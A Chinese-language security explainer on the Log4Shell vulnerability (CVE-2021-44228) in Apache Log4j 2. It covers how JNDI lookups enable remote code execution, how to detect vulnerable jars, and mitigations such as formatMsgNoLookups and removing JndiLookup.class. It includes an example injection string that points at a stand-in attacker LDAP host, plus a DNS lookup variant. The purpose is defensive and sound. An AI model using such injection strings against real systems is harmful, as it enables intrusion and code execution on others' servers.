景区官方网站建设方案,网站开发项目资金运用明细,律师怎么做网站,wordpress 不同页面不同侧边栏简介2021 年 12 月 9 日#xff0c;在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。该漏洞由阿里云安全团队的陈兆军#xff08;可能为音译#xff09;发现… 简介2021 年 12 月 9 日在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。该漏洞由阿里云安全团队的陈兆军可能为音译发现影响Apache Log4j 2版本2.0至2.14.1。根据开发人员的说法Log4j的1.x版本不容易受到此漏洞的影响。该漏洞允许未经身份验证的远程执行代码。目前已经能够看到较多利用此漏洞的PoC验证攻击代码该漏洞可通过多种特定于应用程序的方法访问。实际上任何允许远程连接提供由使用 Log4j 库的应用程序写入日志文件的任意数据的场景都容易受到利用。由于影响面实在太过巨大威胁等级及实现方式非常危险Apache基金会将此漏洞标记为最高级别的10级。目前大致能确定以下内容广泛使用的企业软件的默认安装容易受到攻击。无需身份验证即可可靠地利用此漏洞。该漏洞会影响 Log4j 2 的多个版本。该漏洞允许以运行利用库的应用程序的用户身份远程执行代码。Log4j 2是一个基于Java的日志库广泛用于业务系统开发包含在各种开源库中并直接嵌入到主要软件应用程序中。影响范围已扩展到数千种产品和设备包括Struts 2SolrDruidFlink和Swift等Apache产品。由于此漏洞位于 Java 库中因此 Java 的跨平台性质意味着该漏洞可在许多平台包括 Windows 和 Linux上被利用。由于许多基于 Java 的应用程序可以利用 Log4j 2因此组织应与应用程序供应商联系或确保其 Java 应用程序运行最新的最新版本。使用Log4j 2的开发人员应确保尽快将最新版本的Log4j合并到他们的应用程序中以保护用户和组织。为了便于理解Log4j 2漏洞的影响面和危害性原因网上出现了漫画图在这里贴出来供大家一览。这张图说明了最简单的原理这张图说明了为什么会影响这么多系统再来个中文版的攻击者使用该漏洞的可能方式可参考Fastly (https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) 的图片在使用Log4j 2的大量的日志记录框架中开发人员通常认为消息作为基本格式数据进行处理。但通过Log4j 2实际提供了JNDI查找的能力又没有对这些查找进行限制由此产生了这个漏洞。JNDIJava命名和目录接口是目录服务的Java API提供LDAP或DNS接口查找数据和资源当可以返回的数据类型之一是指向Java类的URI的时候如果加载了不受信任的Java类就将不知不觉地远程执行任意代码。例如记录这样的信息log.info(cve-2021-44228 is security nightmare! {}, userInput)在生产环境中记录HTTP信息作为日志非常常见这一问题可能如下log.inf(Request User-Agent: {}, userAgent)在初始步骤插入JNDI字串例如 $(jndi:ldap://attacker.com/a) 后存在漏洞的Log4j服务器就能够通过URI访问可以执行命令的有效负载。Log4j服务器将执行LDAP查询然后LDAP服务器将响应有效负载链接的目录信息。接下来这些链接指向的Java类的有效负载将被加载到内存由受攻击的Log4j服务器执行。除了LDAP也可以通过该漏洞强制被攻击的Log4j服务器进行DNS查询例如 ${jndi:dns://dns server/TXT record query string} 。我猜理论上可以刷新DNS缓存做DNS劫持。同时可参考微软提供的供给链参考图片检测如何判断是否在使用的系统受到Log4j组件漏洞影响呢如果您在软件清单中找到这些哈希值那么您的系统中就有易受攻击的log4jhttps://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes属于 log4j 库的 JAR 文件的存在可能表明应用程序可能容易受到 CVE-2021-44228 的影响。要搜索的特定文件应符合以下模式log4j-core-*.jar根据安装方法的不同匹配的 JAR 文件的位置也可能指示哪个应用程序可能容易受到攻击。例如在 Windows 上如果文件位于 C\Program Files\ApplicationName\log4j-core-version.jar 中则表示应调查应用程序名称。在 Linux 上lsof 实用程序可以显示当前正在使用 JAR 文件的进程并且可以通过以下语法运行lsof /path/to/log4j-core-version.jar;查看并随时关注有关更新查看Apache基金会关于Log4j漏洞信息的更新https://logging.apache.org/log4j/2.x/security.html查看NIST的NVD中该漏洞信息的更新https://nvd.nist.gov/vuln/detail/CVE-2021-44228如果使用Microsoft产品查看该漏洞信息的更新https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/如果使用VMware产品查看该漏洞信息的更新https://www.vmware.com/security/advisories/VMSA-2021-0028.html以CVE-2021-44228为关键字搜索更多信息缓解如同前面漫画图中显示的如果您在某个产品或者服务中发现了该漏洞的声明并不意味着产品或者服务本身存在缺陷而是我们需要聚焦在这个漏洞本身进行尽快的修复或缓解。所有人都希望能充分了解这个漏洞并在第一时间使用对应的补丁解决问题。不幸的是软件开发和测试需要周期时间所以补丁基本上不会比攻击代码出现的更早。但至少我们可以通过建议的缓解措施进行缓解。通过产品和服务等官方补丁替换受影响的Log4j 2组件。如上所述出于兼容性稳定性考虑不建议自行替换。可随时查看前面提供的产品漏洞说明页面信息更新以尽早获得补丁。测试后进行生产更新。问题的根源在于没有限制JNDI的查询限制因此在Log4j 2组件存在的地方需要对查询做手动限制。Log4J 2 版本 2.10 到 2.14.1 支持将参数 log4j2.formatMsgNoLookups 设置为true以禁用易受攻击的功能。确保在 Java 虚拟机的启动脚本中配置了此参数-Dlog4j2.formatMsgNoLookupstrue。或者使用 Log4j 2.10 到 2.14.1 的客户可以设置 LOG4J_FORMAT_MSG_NO_LOOKUPStrue 环境变量来强制进行此更改。Kubernetes 管理员可以使用 kubectl set env 来设置 LOG4J_FORMAT_MSG_NO_LOOKUPStrue 环境变量以便在 Java 应用程序运行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中应用缓解措施从而自动有效地反映在所有 pod 和容器上。对于从 2.0-beta9 到 2.10.0 的版本缓解措施是从类路径中删除 JndiLookup 类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class如果系统位于受到防护的网络内部可以考虑在边缘访问网关例如WAF上进行访问过滤。目前主流WAF厂商大多已经更新了安全规则能够识别该漏洞相关的指纹信息。可以在系统中启用并更新安全软件例如Defender。如果使用云服务也可以对访问日志进行监控。可参考有关预防、检测和搜寻 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客 (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation)建议无需谈虎色变尽快的厘清架构并评估影响面是第一要务召集所有相关人员例如安全、架构和业务团队评估修复/缓解计划并制定时间表检查现有架构时不要仅关注后端服务器架构也应该充分评估使用了Log4j组件的前端客户端。客户端的设备是移动的存在漏洞的设备是可以绕过防火墙的作为VDI/UEM从业人员强烈建议在VDI架构中考虑标准化和使用快速的制备方式在出现风险时能够及时更新到安全和配置基线充分考虑零信任架构即使是内网或相同网络也需要考虑网络微隔离因赶时间错漏难免还请不吝赐教。
